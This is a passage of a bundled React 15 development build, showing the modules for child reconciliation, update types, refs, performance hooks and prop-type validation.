additional grant\n * of patent rights can be found in the PATENTS file in the same directory.\n *\n * @providesModule ReactMultiChild\n */\n\n'use strict';\n\nvar ReactComponentEnvironment = _dereq_(33);\nvar ReactMultiChildUpdateTypes = _dereq_(77);\n\nvar ReactCurrentOwner = _dereq_(35);\nvar ReactReconciler = _dereq_(87);\nvar ReactChildReconciler = _dereq_(28);\n\nvar flattenChildren = _dereq_(121);\nvar invariant = _dereq_(158);\n\n/**\n * Make an update for markup to be rendered and inserted at a supplied index.\n *\n * @param {string} markup Markup that renders into an element.\n * @param {number} toIndex Destination index.\n * @private\n */\nfunction makeInsertMarkup(markup, afterNode, toIndex) {\n  // NOTE: Null values reduce hidden classes.\n  return {\n    type: ReactMultiChildUpdateTypes.INSERT_MARKUP,\n    content: markup,\n    fromIndex: null,\n    fromNode: null,\n    toIndex: toIndex,\n    afterNode: afterNode\n  };\n}\n\n/**\n * Make an update for moving an existing element to another index.\n *\n * @param {number} fromIndex Source index of the existing element.\n * @param {number} toIndex Destination index of the element.\n * @private\n */\nfunction makeMove(child, afterNode, toIndex) {\n  // NOTE: Null values reduce hidden classes.\n  return {\n    type: ReactMultiChildUpdateTypes.MOVE_EXISTING,\n    content: null,\n    fromIndex: child._mountIndex,\n    fromNode: ReactReconciler.getNativeNode(child),\n    toIndex: toIndex,\n    afterNode: afterNode\n  };\n}\n\n/**\n * Make an update for removing an element at an index.\n *\n * @param {number} fromIndex Index of the element to remove.\n * @private\n */\nfunction makeRemove(child, node) {\n  // NOTE: Null values reduce hidden classes.\n  return {\n    type: ReactMultiChildUpdateTypes.REMOVE_NODE,\n    content: null,\n    fromIndex: child._mountIndex,\n    fromNode: node,\n    toIndex: null,\n    afterNode: null\n  };\n}\n\n/**\n * Make an update for setting the markup of a node.\n *\n * @param {string} markup Markup that renders into an element.\n * @private\n */\nfunction makeSetMarkup(markup) {\n  // NOTE: Null values reduce hidden classes.\n  return {\n    type: ReactMultiChildUpdateTypes.SET_MARKUP,\n    content: markup,\n    fromIndex: null,\n    fromNode: null,\n    toIndex: null,\n    afterNode: null\n  };\n}\n\n/**\n * Make an update for setting the text content.\n *\n * @param {string} textContent Text content to set.\n * @private\n */\nfunction makeTextContent(textContent) {\n  // NOTE: Null values reduce hidden classes.\n  return {\n    type: ReactMultiChildUpdateTypes.TEXT_CONTENT,\n    content: textContent,\n    fromIndex: null,\n    fromNode: null,\n    toIndex: null,\n    afterNode: null\n  };\n}\n\n/**\n * Push an update, if any, onto the queue. Creates a new queue if none is\n * passed and always returns the queue. Mutative.\n */\nfunction enqueue(queue, update) {\n  if (update) {\n    queue = queue || [];\n    queue.push(update);\n  }\n  return queue;\n}\n\n/**\n * Processes any enqueued updates.\n *\n * @private\n */\nfunction processQueue(inst, updateQueue) {\n  ReactComponentEnvironment.processChildrenUpdates(inst, updateQueue);\n}\n\n/**\n * ReactMultiChild are capable of reconciling multiple children.\n *\n * @class ReactMultiChild\n * @internal\n */\nvar ReactMultiChild = {\n\n  /**\n   * Provides common functionality for components that must reconcile multiple\n   * children. This is used by `ReactDOMComponent` to mount, update, and\n   * unmount child components.\n   *\n   * @lends {ReactMultiChild.prototype}\n   */\n  Mixin: {\n\n    _reconcilerInstantiateChildren: function (nestedChildren, transaction, context) {\n      if (\"development\" !== 'production') {\n        if (this._currentElement) {\n          try {\n            ReactCurrentOwner.current = this._currentElement._owner;\n            return ReactChildReconciler.instantiateChildren(nestedChildren, transaction, context);\n          } finally {\n            ReactCurrentOwner.current = null;\n          }\n        }\n      }\n      return ReactChildReconciler.instantiateChildren(nestedChildren, transaction, context);\n    },\n\n    _reconcilerUpdateChildren: function (prevChildren, nextNestedChildrenElements, removedNodes, transaction, context) {\n      var nextChildren;\n      if (\"development\" !== 'production') {\n        if (this._currentElement) {\n          try {\n            ReactCurrentOwner.current = this._currentElement._owner;\n            nextChildren = flattenChildren(nextNestedChildrenElements);\n          } finally {\n            ReactCurrentOwner.current = null;\n          }\n          ReactChildReconciler.updateChildren(prevChildren, nextChildren, removedNodes, transaction, context);\n          return nextChildren;\n        }\n      }\n      nextChildren = flattenChildren(nextNestedChildrenElements);\n      ReactChildReconciler.updateChildren(prevChildren, nextChildren, removedNodes, transaction, context);\n      return nextChildren;\n    },\n\n    /**\n     * Generates a \"mount image\" for each of the supplied children. In the case\n     * of `ReactDOMComponent`, a mount image is a string of markup.\n     *\n     * @param {?object} nestedChildren Nested child maps.\n     * @return {array} An array of mounted representations.\n     * @internal\n     */\n    mountChildren: function (nestedChildren, transaction, context) {\n      var children = this._reconcilerInstantiateChildren(nestedChildren, transaction, context);\n      this._renderedChildren = children;\n      var mountImages = [];\n      var index = 0;\n      for (var name in children) {\n        if (children.hasOwnProperty(name)) {\n          var child = children[name];\n          var mountImage = ReactReconciler.mountComponent(child, transaction, this, this._nativeContainerInfo, context);\n          child._mountIndex = index++;\n          mountImages.push(mountImage);\n        }\n      }\n      return mountImages;\n    },\n\n    /**\n     * Replaces any rendered children with a text content string.\n     *\n     * @param {string} nextContent String of content.\n     * @internal\n     */\n    updateTextContent: function (nextContent) {\n      var prevChildren = this._renderedChildren;\n      // Remove any rendered children.\n      ReactChildReconciler.unmountChildren(prevChildren, false);\n      for (var name in prevChildren) {\n        if (prevChildren.hasOwnProperty(name)) {\n          !false ? \"development\" !== 'production' ? invariant(false, 'updateTextContent called on non-empty component.') : invariant(false) : void 0;\n        }\n      }\n      // Set new text content.\n      var updates = [makeTextContent(nextContent)];\n      processQueue(this, updates);\n    },\n\n    /**\n     * Replaces any rendered children with a markup string.\n     *\n     * @param {string} nextMarkup String of markup.\n     * @internal\n     */\n    updateMarkup: function (nextMarkup) {\n      var prevChildren = this._renderedChildren;\n      // Remove any rendered children.\n      ReactChildReconciler.unmountChildren(prevChildren, false);\n      for (var name in prevChildren) {\n        if (prevChildren.hasOwnProperty(name)) {\n          !false ? \"development\" !== 'production' ? invariant(false, 'updateTextContent called on non-empty component.') : invariant(false) : void 0;\n        }\n      }\n      var updates = [makeSetMarkup(nextMarkup)];\n      processQueue(this, updates);\n    },\n\n    /**\n     * Updates the rendered children with new children.\n     *\n     * @param {?object} nextNestedChildrenElements Nested child element maps.\n     * @param {ReactReconcileTransaction} transaction\n     * @internal\n     */\n    updateChildren: function (nextNestedChildrenElements, transaction, context) {\n      // Hook used by React ART\n      this._updateChildren(nextNestedChildrenElements, transaction, context);\n    },\n\n    /**\n     * @param {?object} nextNestedChildrenElements Nested child element maps.\n     * @param {ReactReconcileTransaction} transaction\n     * @final\n     * @protected\n     */\n    _updateChildren: function (nextNestedChildrenElements, transaction, context) {\n      var prevChildren = this._renderedChildren;\n      var removedNodes = {};\n      var nextChildren = this._reconcilerUpdateChildren(prevChildren, nextNestedChildrenElements, removedNodes, transaction, context);\n      if (!nextChildren && !prevChildren) {\n        return;\n      }\n      var updates = null;\n      var name;\n      // `nextIndex` will increment for each child in `nextChildren`, but\n      // `lastIndex` will be the last index visited in `prevChildren`.\n      var lastIndex = 0;\n      var nextIndex = 0;\n      var lastPlacedNode = null;\n      for (name in nextChildren) {\n        if (!nextChildren.hasOwnProperty(name)) {\n          continue;\n        }\n        var prevChild = prevChildren && prevChildren[name];\n        var nextChild = nextChildren[name];\n        if (prevChild === nextChild) {\n          updates = enqueue(updates, this.moveChild(prevChild, lastPlacedNode, nextIndex, lastIndex));\n          lastIndex = Math.max(prevChild._mountIndex, lastIndex);\n          prevChild._mountIndex = nextIndex;\n        } else {\n          if (prevChild) {\n            // Update `lastIndex` before `_mountIndex` gets unset by unmounting.\n            lastIndex = Math.max(prevChild._mountIndex, lastIndex);\n            // The `removedNodes` loop below will actually remove the child.\n          }\n          // The child must be instantiated before it's mounted.\n          updates = enqueue(updates, this._mountChildAtIndex(nextChild, lastPlacedNode, nextIndex, transaction, context));\n        }\n        nextIndex++;\n        lastPlacedNode = ReactReconciler.getNativeNode(nextChild);\n      }\n      // Remove children that are no longer present.\n      for (name in removedNodes) {\n        if (removedNodes.hasOwnProperty(name)) {\n          updates = enqueue(updates, this._unmountChild(prevChildren[name], removedNodes[name]));\n        }\n      }\n      if (updates) {\n        processQueue(this, updates);\n      }\n      this._renderedChildren = nextChildren;\n    },\n\n    /**\n     * Unmounts all rendered children. This should be used to clean up children\n     * when this component is unmounted. It does not actually perform any\n     * backend operations.\n     *\n     * @internal\n     */\n    unmountChildren: function (safely) {\n      var renderedChildren = this._renderedChildren;\n      ReactChildReconciler.unmountChildren(renderedChildren, safely);\n      this._renderedChildren = null;\n    },\n\n    /**\n     * Moves a child component to the supplied index.\n     *\n     * @param {ReactComponent} child Component to move.\n     * @param {number} toIndex Destination index of the element.\n     * @param {number} lastIndex Last index visited of the siblings of `child`.\n     * @protected\n     */\n    moveChild: function (child, afterNode, toIndex, lastIndex) {\n      // If the index of `child` is less than `lastIndex`, then it needs to\n      // be moved. Otherwise, we do not need to move it because a child will be\n      // inserted or moved before `child`.\n      if (child._mountIndex < lastIndex) {\n        return makeMove(child, afterNode, toIndex);\n      }\n    },\n\n    /**\n     * Creates a child component.\n     *\n     * @param {ReactComponent} child Component to create.\n     * @param {string} mountImage Markup to insert.\n     * @protected\n     */\n    createChild: function (child, afterNode, mountImage) {\n      return makeInsertMarkup(mountImage, afterNode, child._mountIndex);\n    },\n\n    /**\n     * Removes a child component.\n     *\n     * @param {ReactComponent} child Child to remove.\n     * @protected\n     */\n    removeChild: function (child, node) {\n      return makeRemove(child, node);\n    },\n\n    /**\n     * Mounts a child with the supplied name.\n     *\n     * NOTE: This is part of `updateChildren` and is here for readability.\n     *\n     * @param {ReactComponent} child Component to mount.\n     * @param {string} name Name of the child.\n     * @param {number} index Index at which to insert the child.\n     * @param {ReactReconcileTransaction} transaction\n     * @private\n     */\n    _mountChildAtIndex: function (child, afterNode, index, transaction, context) {\n      var mountImage = ReactReconciler.mountComponent(child, transaction, this, this._nativeContainerInfo, context);\n      child._mountIndex = index;\n      return this.createChild(child, afterNode, mountImage);\n    },\n\n    /**\n     * Unmounts a rendered child.\n     *\n     * NOTE: This is part of `updateChildren` and is here for readability.\n     *\n     * @param {ReactComponent} child Component to unmount.\n     * @private\n     */\n    _unmountChild: function (child, node) {\n      var update = this.removeChild(child, node);\n      child._mountIndex = null;\n      return update;\n    }\n\n  }\n\n};\n\nmodule.exports = ReactMultiChild;\n},{\"121\":121,\"158\":158,\"28\":28,\"33\":33,\"35\":35,\"77\":77,\"87\":87}],77:[function(_dereq_,module,exports){\n/**\n * Copyright 2013-present, Facebook, Inc.\n * All rights reserved.\n *\n * This source code is licensed under the BSD-style license found in the\n * LICENSE file in the root directory of this source tree. An additional grant\n * of patent rights can be found in the PATENTS file in the same directory.\n *\n * @providesModule ReactMultiChildUpdateTypes\n */\n\n'use strict';\n\nvar keyMirror = _dereq_(161);\n\n/**\n * When a component's children are updated, a series of update configuration\n * objects are created in order to batch and serialize the required changes.\n *\n * Enumerates all the possible types of update configurations.\n *\n * @internal\n */\nvar ReactMultiChildUpdateTypes = keyMirror({\n  INSERT_MARKUP: null,\n  MOVE_EXISTING: null,\n  REMOVE_NODE: null,\n  SET_MARKUP: null,\n  TEXT_CONTENT: null\n});\n\nmodule.exports = ReactMultiChildUpdateTypes;\n},{\"161\":161}],78:[function(_dereq_,module,exports){\n/**\n * Copyright 2014-present, Facebook, Inc.\n * All rights reserved.\n *\n * This source code is licensed under the BSD-style license found in the\n * LICENSE file in the root directory of this source tree. An additional grant\n * of patent rights can be found in the PATENTS file in the same directory.\n *\n * @providesModule ReactNativeComponent\n */\n\n'use strict';\n\nvar _assign = _dereq_(169);\n\nvar invariant = _dereq_(158);\n\nvar autoGenerateWrapperClass = null;\nvar genericComponentClass = null;\n// This registry keeps track of wrapper classes around native tags.\nvar tagToComponentClass = {};\nvar textComponentClass = null;\n\nvar ReactNativeComponentInjection = {\n  // This accepts a class that receives the tag string. This is a catch all\n  // that can render any kind of tag.\n  injectGenericComponentClass: function (componentClass) {\n    genericComponentClass = componentClass;\n  },\n  // This accepts a text component class that takes the text string to be\n  // rendered as props.\n  injectTextComponentClass: function (componentClass) {\n    textComponentClass = componentClass;\n  },\n  // This accepts a keyed object with classes as values. Each key represents a\n  // tag. That particular tag will use this class instead of the generic one.\n  injectComponentClasses: function (componentClasses) {\n    _assign(tagToComponentClass, componentClasses);\n  }\n};\n\n/**\n * Get a composite component wrapper class for a specific tag.\n *\n * @param {ReactElement} element The tag for which to get the class.\n * @return {function} The React class constructor function.\n */\nfunction getComponentClassForElement(element) {\n  if (typeof element.type === 'function') {\n    return element.type;\n  }\n  var tag = element.type;\n  var componentClass = tagToComponentClass[tag];\n  if (componentClass == null) {\n    tagToComponentClass[tag] = componentClass = autoGenerateWrapperClass(tag);\n  }\n  return componentClass;\n}\n\n/**\n * Get a native internal component class for a specific tag.\n *\n * @param {ReactElement} element The element to create.\n * @return {function} The internal class constructor function.\n */\nfunction createInternalComponent(element) {\n  !genericComponentClass ? \"development\" !== 'production' ? invariant(false, 'There is no registered component for the tag %s', element.type) : invariant(false) : void 0;\n  return new genericComponentClass(element);\n}\n\n/**\n * @param {ReactText} text\n * @return {ReactComponent}\n */\nfunction createInstanceForText(text) {\n  return new textComponentClass(text);\n}\n\n/**\n * @param {ReactComponent} component\n * @return {boolean}\n */\nfunction isTextComponent(component) {\n  return component instanceof textComponentClass;\n}\n\nvar ReactNativeComponent = {\n  getComponentClassForElement: getComponentClassForElement,\n  createInternalComponent: createInternalComponent,\n  createInstanceForText: createInstanceForText,\n  isTextComponent: isTextComponent,\n  injection: ReactNativeComponentInjection\n};\n\nmodule.exports = ReactNativeComponent;\n},{\"158\":158,\"169\":169}],79:[function(_dereq_,module,exports){\n/**\n * Copyright 2013-present, Facebook, Inc.\n * All rights reserved.\n *\n * This source code is licensed under the BSD-style license found in the\n * LICENSE file in the root directory of this source tree. An additional grant\n * of patent rights can be found in the PATENTS file in the same directory.\n *\n * @providesModule ReactNodeTypes\n */\n\n'use strict';\n\nvar ReactElement = _dereq_(62);\n\nvar invariant = _dereq_(158);\n\nvar ReactNodeTypes = {\n  NATIVE: 0,\n  COMPOSITE: 1,\n  EMPTY: 2,\n\n  getType: function (node) {\n    if (node === null || node === false) {\n      return ReactNodeTypes.EMPTY;\n    } else if (ReactElement.isValidElement(node)) {\n      if (typeof node.type === 'function') {\n        return ReactNodeTypes.COMPOSITE;\n      } else {\n        return ReactNodeTypes.NATIVE;\n      }\n    }\n    !false ? \"development\" !== 'production' ? invariant(false, 'Unexpected node: %s', node) : invariant(false) : void 0;\n  }\n};\n\nmodule.exports = ReactNodeTypes;\n},{\"158\":158,\"62\":62}],80:[function(_dereq_,module,exports){\n/**\n * Copyright 2015-present, Facebook, Inc.\n * All rights reserved.\n *\n * This source code is licensed under the BSD-style license found in the\n * LICENSE file in the root directory of this source tree. An additional grant\n * of patent rights can be found in the PATENTS file in the same directory.\n *\n * @providesModule ReactNoopUpdateQueue\n */\n\n'use strict';\n\nvar warning = _dereq_(168);\n\nfunction warnTDZ(publicInstance, callerName) {\n  if (\"development\" !== 'production') {\n    \"development\" !== 'production' ? warning(false, '%s(...): Can only update a mounted or mounting component. ' + 'This usually means you called %s() on an unmounted component. ' + 'This is a no-op. Please check the code for the %s component.', callerName, callerName, publicInstance.constructor && publicInstance.constructor.displayName || '') : void 0;\n  }\n}\n\n/**\n * This is the abstract API for an update queue.\n */\nvar ReactNoopUpdateQueue = {\n\n  /**\n   * Checks whether or not this composite component is mounted.\n   * @param {ReactClass} publicInstance The instance we want to test.\n   * @return {boolean} True if mounted, false otherwise.\n   * @protected\n   * @final\n   */\n  isMounted: function (publicInstance) {\n    return false;\n  },\n\n  /**\n   * Enqueue a callback that will be executed after all the pending updates\n   * have processed.\n   *\n   * @param {ReactClass} publicInstance The instance to use as `this` context.\n   * @param {?function} callback Called after state is updated.\n   * @internal\n   */\n  enqueueCallback: function (publicInstance, callback) {},\n\n  /**\n   * Forces an update. This should only be invoked when it is known with\n   * certainty that we are **not** in a DOM transaction.\n   *\n   * You may want to call this when you know that some deeper aspect of the\n   * component's state has changed but `setState` was not called.\n   *\n   * This will not invoke `shouldComponentUpdate`, but it will invoke\n   * `componentWillUpdate` and `componentDidUpdate`.\n   *\n   * @param {ReactClass} publicInstance The instance that should rerender.\n   * @internal\n   */\n  enqueueForceUpdate: function (publicInstance) {\n    warnTDZ(publicInstance, 'forceUpdate');\n  },\n\n  /**\n   * Replaces all of the state. Always use this or `setState` to mutate state.\n   * You should treat `this.state` as immutable.\n   *\n   * There is no guarantee that `this.state` will be immediately updated, so\n   * accessing `this.state` after calling this method may return the old value.\n   *\n   * @param {ReactClass} publicInstance The instance that should rerender.\n   * @param {object} completeState Next state.\n   * @internal\n   */\n  enqueueReplaceState: function (publicInstance, completeState) {\n    warnTDZ(publicInstance, 'replaceState');\n  },\n\n  /**\n   * Sets a subset of the state. This only exists because _pendingState is\n   * internal. This provides a merging strategy that is not available to deep\n   * properties which is confusing. TODO: Expose pendingState or don't use it\n   * during the merge.\n   *\n   * @param {ReactClass} publicInstance The instance that should rerender.\n   * @param {object} partialState Next partial state to be merged with state.\n   * @internal\n   */\n  enqueueSetState: function (publicInstance, partialState) {\n    warnTDZ(publicInstance, 'setState');\n  }\n};\n\nmodule.exports = ReactNoopUpdateQueue;\n},{\"168\":168}],81:[function(_dereq_,module,exports){\n/**\n * Copyright 2013-present, Facebook, Inc.\n * All rights reserved.\n *\n * This source code is licensed under the BSD-style license found in the\n * LICENSE file in the root directory of this source tree. An additional grant\n * of patent rights can be found in the PATENTS file in the same directory.\n *\n * @providesModule ReactOwner\n */\n\n'use strict';\n\nvar invariant = _dereq_(158);\n\n/**\n * ReactOwners are capable of storing references to owned components.\n *\n * All components are capable of //being// referenced by owner components, but\n * only ReactOwner components are capable of //referencing// owned components.\n * The named reference is known as a \"ref\".\n *\n * Refs are available when mounted and updated during reconciliation.\n *\n *   var MyComponent = React.createClass({\n *     render: function() {\n *       return (\n *         <div onClick={this.handleClick}>\n *           <CustomComponent ref=\"custom\" />\n *         </div>\n *       );\n *     },\n *     handleClick: function() {\n *       this.refs.custom.handleClick();\n *     },\n *     componentDidMount: function() {\n *       this.refs.custom.initialize();\n *     }\n *   });\n *\n * Refs should rarely be used. When refs are used, they should only be done to\n * control data that is not handled by React's data flow.\n *\n * @class ReactOwner\n */\nvar ReactOwner = {\n\n  /**\n   * @param {?object} object\n   * @return {boolean} True if `object` is a valid owner.\n   * @final\n   */\n  isValidOwner: function (object) {\n    return !!(object && typeof object.attachRef === 'function' && typeof object.detachRef === 'function');\n  },\n\n  /**\n   * Adds a component by ref to an owner component.\n   *\n   * @param {ReactComponent} component Component to reference.\n   * @param {string} ref Name by which to refer to the component.\n   * @param {ReactOwner} owner Component on which to record the ref.\n   * @final\n   * @internal\n   */\n  addComponentAsRefTo: function (component, ref, owner) {\n    !ReactOwner.isValidOwner(owner) ? \"development\" !== 'production' ? invariant(false, 'addComponentAsRefTo(...): Only a ReactOwner can have refs. You might ' + 'be adding a ref to a component that was not created inside a component\\'s ' + '`render` method, or you have multiple copies of React loaded ' + '(details: https://fb.me/react-refs-must-have-owner).') : invariant(false) : void 0;\n    owner.attachRef(ref, component);\n  },\n\n  /**\n   * Removes a component by ref from an owner component.\n   *\n   * @param {ReactComponent} component Component to dereference.\n   * @param {string} ref Name of the ref to remove.\n   * @param {ReactOwner} owner Component on which the ref is recorded.\n   * @final\n   * @internal\n   */\n  removeComponentAsRefFrom: function (component, ref, owner) {\n    !ReactOwner.isValidOwner(owner) ? \"development\" !== 'production' ? invariant(false, 'removeComponentAsRefFrom(...): Only a ReactOwner can have refs. You might ' + 'be removing a ref to a component that was not created inside a component\\'s ' + '`render` method, or you have multiple copies of React loaded ' + '(details: https://fb.me/react-refs-must-have-owner).') : invariant(false) : void 0;\n    var ownerPublicInstance = owner.getPublicInstance();\n    // Check that `component`'s owner is still alive and that `component` is still the current ref\n    // because we do not want to detach the ref if another component stole it.\n    if (ownerPublicInstance && ownerPublicInstance.refs[ref] === component.getPublicInstance()) {\n      owner.detachRef(ref);\n    }\n  }\n\n};\n\nmodule.exports = ReactOwner;\n},{\"158\":158}],82:[function(_dereq_,module,exports){\n/**\n * Copyright 2013-present, Facebook, Inc.\n * All rights reserved.\n *\n * This source code is licensed under the BSD-style license found in the\n * LICENSE file in the root directory of this source tree. An additional grant\n * of patent rights can be found in the PATENTS file in the same directory.\n *\n * @providesModule ReactPerf\n */\n\n'use strict';\n\n/**\n * ReactPerf is a general AOP system designed to measure performance. This\n * module only has the hooks: see ReactDefaultPerf for the analysis tool.\n */\n\nvar ReactPerf = {\n  /**\n   * Boolean to enable/disable measurement. Set to false by default to prevent\n   * accidental logging and perf loss.\n   */\n  enableMeasure: false,\n\n  /**\n   * Holds onto the measure function in use. By default, don't measure\n   * anything, but we'll override this if we inject a measure function.\n   */\n  storedMeasure: _noMeasure,\n\n  /**\n   * @param {object} object\n   * @param {string} objectName\n   * @param {object<string>} methodNames\n   */\n  measureMethods: function (object, objectName, methodNames) {\n    if (\"development\" !== 'production') {\n      for (var key in methodNames) {\n        if (!methodNames.hasOwnProperty(key)) {\n          continue;\n        }\n        object[key] = ReactPerf.measure(objectName, methodNames[key], object[key]);\n      }\n    }\n  },\n\n  /**\n   * Use this to wrap methods you want to measure. Zero overhead in production.\n   *\n   * @param {string} objName\n   * @param {string} fnName\n   * @param {function} func\n   * @return {function}\n   */\n  measure: function (objName, fnName, func) {\n    if (\"development\" !== 'production') {\n      var measuredFunc = null;\n      var wrapper = function () {\n        if (ReactPerf.enableMeasure) {\n          if (!measuredFunc) {\n            measuredFunc = ReactPerf.storedMeasure(objName, fnName, func);\n          }\n          return measuredFunc.apply(this, arguments);\n        }\n        return func.apply(this, arguments);\n      };\n      wrapper.displayName = objName + '_' + fnName;\n      return wrapper;\n    }\n    return func;\n  },\n\n  injection: {\n    /**\n     * @param {function} measure\n     */\n    injectMeasure: function (measure) {\n      ReactPerf.storedMeasure = measure;\n    }\n  }\n};\n\n/**\n * Simply passes through the measured function, without measuring it.\n *\n * @param {string} objName\n * @param {string} fnName\n * @param {function} func\n * @return {function}\n */\nfunction _noMeasure(objName, fnName, func) {\n  return func;\n}\n\nmodule.exports = ReactPerf;\n},{}],83:[function(_dereq_,module,exports){\n/**\n * Copyright 2013-present, Facebook, Inc.\n * All rights reserved.\n *\n * This source code is licensed under the BSD-style license found in the\n * LICENSE file in the root directory of this source tree. An additional grant\n * of patent rights can be found in the PATENTS file in the same directory.\n *\n * @providesModule ReactPropTypeLocationNames\n */\n\n'use strict';\n\nvar ReactPropTypeLocationNames = {};\n\nif (\"development\" !== 'production') {\n  ReactPropTypeLocationNames = {\n    prop: 'prop',\n    context: 'context',\n    childContext: 'child context'\n  };\n}\n\nmodule.exports = ReactPropTypeLocationNames;\n},{}],84:[function(_dereq_,module,exports){\n/**\n * Copyright 2013-present, Facebook, Inc.\n * All rights reserved.\n *\n * This source code is licensed under the BSD-style license found in the\n * LICENSE file in the root directory of this source tree. An additional grant\n * of patent rights can be found in the PATENTS file in the same directory.\n *\n * @providesModule ReactPropTypeLocations\n */\n\n'use strict';\n\nvar keyMirror = _dereq_(161);\n\nvar ReactPropTypeLocations = keyMirror({\n  prop: null,\n  context: null,\n  childContext: null\n});\n\nmodule.exports = ReactPropTypeLocations;\n},{\"161\":161}],85:[function(_dereq_,module,exports){\n/**\n * Copyright 2013-present, Facebook, Inc.\n * All rights reserved.\n *\n * This source code is licensed under the BSD-style license found in the\n * LICENSE file in the root directory of this source tree. An additional grant\n * of patent rights can be found in the PATENTS file in the same directory.\n *\n * @providesModule ReactPropTypes\n */\n\n'use strict';\n\nvar ReactElement = _dereq_(62);\nvar ReactPropTypeLocationNames = _dereq_(83);\n\nvar emptyFunction = _dereq_(150);\nvar getIteratorFn = _dereq_(127);\n\n/**\n * Collection of methods that allow declaration and validation of props that are\n * supplied to React components. Example usage:\n *\n *   var Props = require('ReactPropTypes');\n *   var MyArticle = React.createClass({\n *     propTypes: {\n *       // An optional string prop named \"description\".\n *       description: Props.string,\n *\n *       // A required enum prop named \"category\".\n *       category: Props.oneOf(['News','Photos']).isRequired,\n *\n *       // A prop named \"dialog\" that requires an instance of Dialog.\n *       dialog: Props.instanceOf(Dialog).isRequired\n *     },\n *     render: function() { ... }\n *   });\n *\n * A more formal specification of how these methods are used:\n *\n *   type := array|bool|func|object|number|string|oneOf([...])|instanceOf(...)\n *   decl := ReactPropTypes.{type}(.isRequired)?\n *\n * Each and every declaration produces a function with the same signature. This\n * allows the creation of custom validation functions. For example:\n *\n *  var MyLink = React.createClass({\n *    propTypes: {\n *      // An optional string or URI prop named \"href\".\n *      href: function(props, propName, componentName) {\n *        var propValue = props[propName];\n *        if (propValue != null && typeof propValue !== 'string' &&\n *            !(propValue instanceof URI)) {\n *          return new Error(\n *            'Expected a string or an URI for ' + propName + ' in ' +\n *            componentName\n *          );\n *        }\n *      }\n *    },\n *    render: function() {...}\n *  });\n *\n * @internal\n */\n\nvar ANONYMOUS = '<<anonymous>>';\n\nvar ReactPropTypes = {\n  array: createPrimitiveTypeChecker('array'),\n  bool: createPrimitiveTypeChecker('boolean'),\n  func: createPrimitiveTypeChecker('function'),\n  number: createPrimitiveTypeChecker('number'),\n  object: createPrimitiveTypeChecker('object'),\n  string: createPrimitiveTypeChecker('string'),\n\n  any: createAnyTypeChecker(),\n  arrayOf: createArrayOfTypeChecker,\n  element: createElementTypeChecker(),\n  instanceOf: createInstanceTypeChecker,\n  node: createNodeChecker(),\n  objectOf: createObjectOfTypeChecker,\n  oneOf: createEnumTypeChecker,\n  oneOfType: createUnionTypeChecker,\n  shape: createShapeTypeChecker\n};\n\n/**\n * inlined Object.is polyfill to avoid requiring consumers ship their own\n * https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/is\n */\n/*eslint-disable no-self-compare*/\nfunction is(x, y) {\n  // SameValue algorithm\n  if (x === y) {\n    // Steps 1-5, 7-10\n    // Steps 6.b-6.e: +0 != -0\n    return x !== 0 || 1 / x === 1 / y;\n  } else {\n    // Step 6.a: NaN == NaN\n    return x !== x && y !== y;\n  }\n}\n/*eslint-enable no-self-compare*/\n\nfunction createChainableTypeChecker(validate) {\n  function checkType(isRequired, props, propName, componentName, location, propFullName) {\n    componentName = componentName || ANONYMOUS;\n    propFullName = propFullName || propName;\n    if (props[propName] == null) {\n      var locationName = ReactPropTypeLocationNames[location];\n      if (isRequired) {\n        return new Error('Required ' + locationName + ' `' + propFullName + '` was not specified in ' + ('`' + componentName + '`.'));\n      }\n      return null;\n    } else {\n      return validate(props, propName, componentName, location, propFullName);\n    }\n  }\n\n  var chainedCheckType = checkType.bind(null, false);\n  chainedCheckType.isRequired = checkType.bind(null, true);\n\n  return chainedCheckType;\n}\n\nfunction createPrimitiveTypeChecker(expectedType) {\n  function validate(props, propName, componentName, location, propFullName) {\n    var propValue = props[propName];\n    var propType = getPropType(propValue);\n    if (propType !== expectedType) {\n      var locationName = ReactPropTypeLocationNames[location];\n      // `propValue` being instance of, say, date/regexp, pass the 'object'\n      // check, but we can offer a more precise error message here rather than\n      // 'of type `object`'.\n      var preciseType = getPreciseType(propValue);\n\n      return new Error('Invalid ' + locationName + ' `' + propFullName + '` of type ' + ('`' + preciseType + '` supplied to `' + componentName + '`, expected ') + ('`' + expectedType + '`.'));\n    }\n    return null;\n  }\n  return createChainableTypeChecker(validate);\n}\n\nfunction createAnyTypeChecker() {\n  return createChainableTypeChecker(emptyFunction.thatReturns(null));\n}\n\nfunction createArrayOfTypeChecker(typeChecker) {\n  function validate(props, propName, componentName, location, propFullName) {\n    if (typeof typeChecker !== 'function') {\n      return new Error('Property `' + propFullName + '` of component `' + componentName + '` has invalid PropType notation inside arrayOf.');\n    }\n    var propValue = props[propName];\n    if (!Array.isArray(propValue)) {\n      var locationName = ReactPropTypeLocationNames[location];\n      var propType = getPropType(propValue);\n      return new Error('Invalid ' + locationName + ' `' + propFullName + '` of type ' + ('`' + propType + '` supplied to `' + componentName + '`, expected an array.'));\n    }\n    for (var i = 0; i < propValue.length; i++) {\n      var error = typeChecker(propValue, i, componentName, location, propFullName + '[' + i + ']');\n      if (error instanceof Error) {\n        return error;\n      }\n    }\n    return null;\n  }\n  return createChainableTypeChecker(validate);\n}\n\nfunction createElementTypeChecker() {\n  function validate(props, propName, componentName, location, propFullName) {\n    if (!ReactElement.isValidElement(props[propName])) {\n      var locationName = ReactPropTypeLocationNames[location];\n      return new Error('Invalid ' + locationName + ' `' + propFullName + '` supplied to ' + ('`' + componentName + '`, expected a single ReactElement.'));\n    }\n    return null;\n  }\n  return createChainableTypeChecker(validate);\n}\n\nfunction createInstanceTypeChecker(expectedClass) {\n  function validate(props, propName, componentName, location, propFullName) {\n    if (!(props[propName] instanceof expectedClass)) {\n      var locationName = ReactPropTypeLocationNames[location];\n      var expectedClassName = expectedClass.name || ANONYMOUS;\n      var actualClassName = getClassName(props[propName]);\n      return new Error('Invalid ' + locationName + ' `' + propFullName + '` of type ' + ('`' + actualClassName + '` supplied to `' + componentName + '`, expected ') + ('instance of `' + expectedClassName + '`.'));\n    }\n    return null;\n  }\n  return createChainableTypeChecker(validate);\n}\n\nfunction createEnumTypeChecker(expectedValues) {\n  if (!Array.isArray(expectedValues)) {\n    return createChainableTypeChecker(function () {\n      return new Error('Invalid argument supplied to oneOf, expected an instance of array.');\n    });\n  }\n\n  function validate(props, propName, componentName, location, propFullName) {\n    var propValue = props[propName];\n    for (var i = 0; i < expectedValues.length; i++) {\n      if (is(propValue, expectedValues[i])) {\n        return null;\n      }\n    }\n\n    var locationName = ReactPropTypeLocationNames[location];\n    var valuesString = 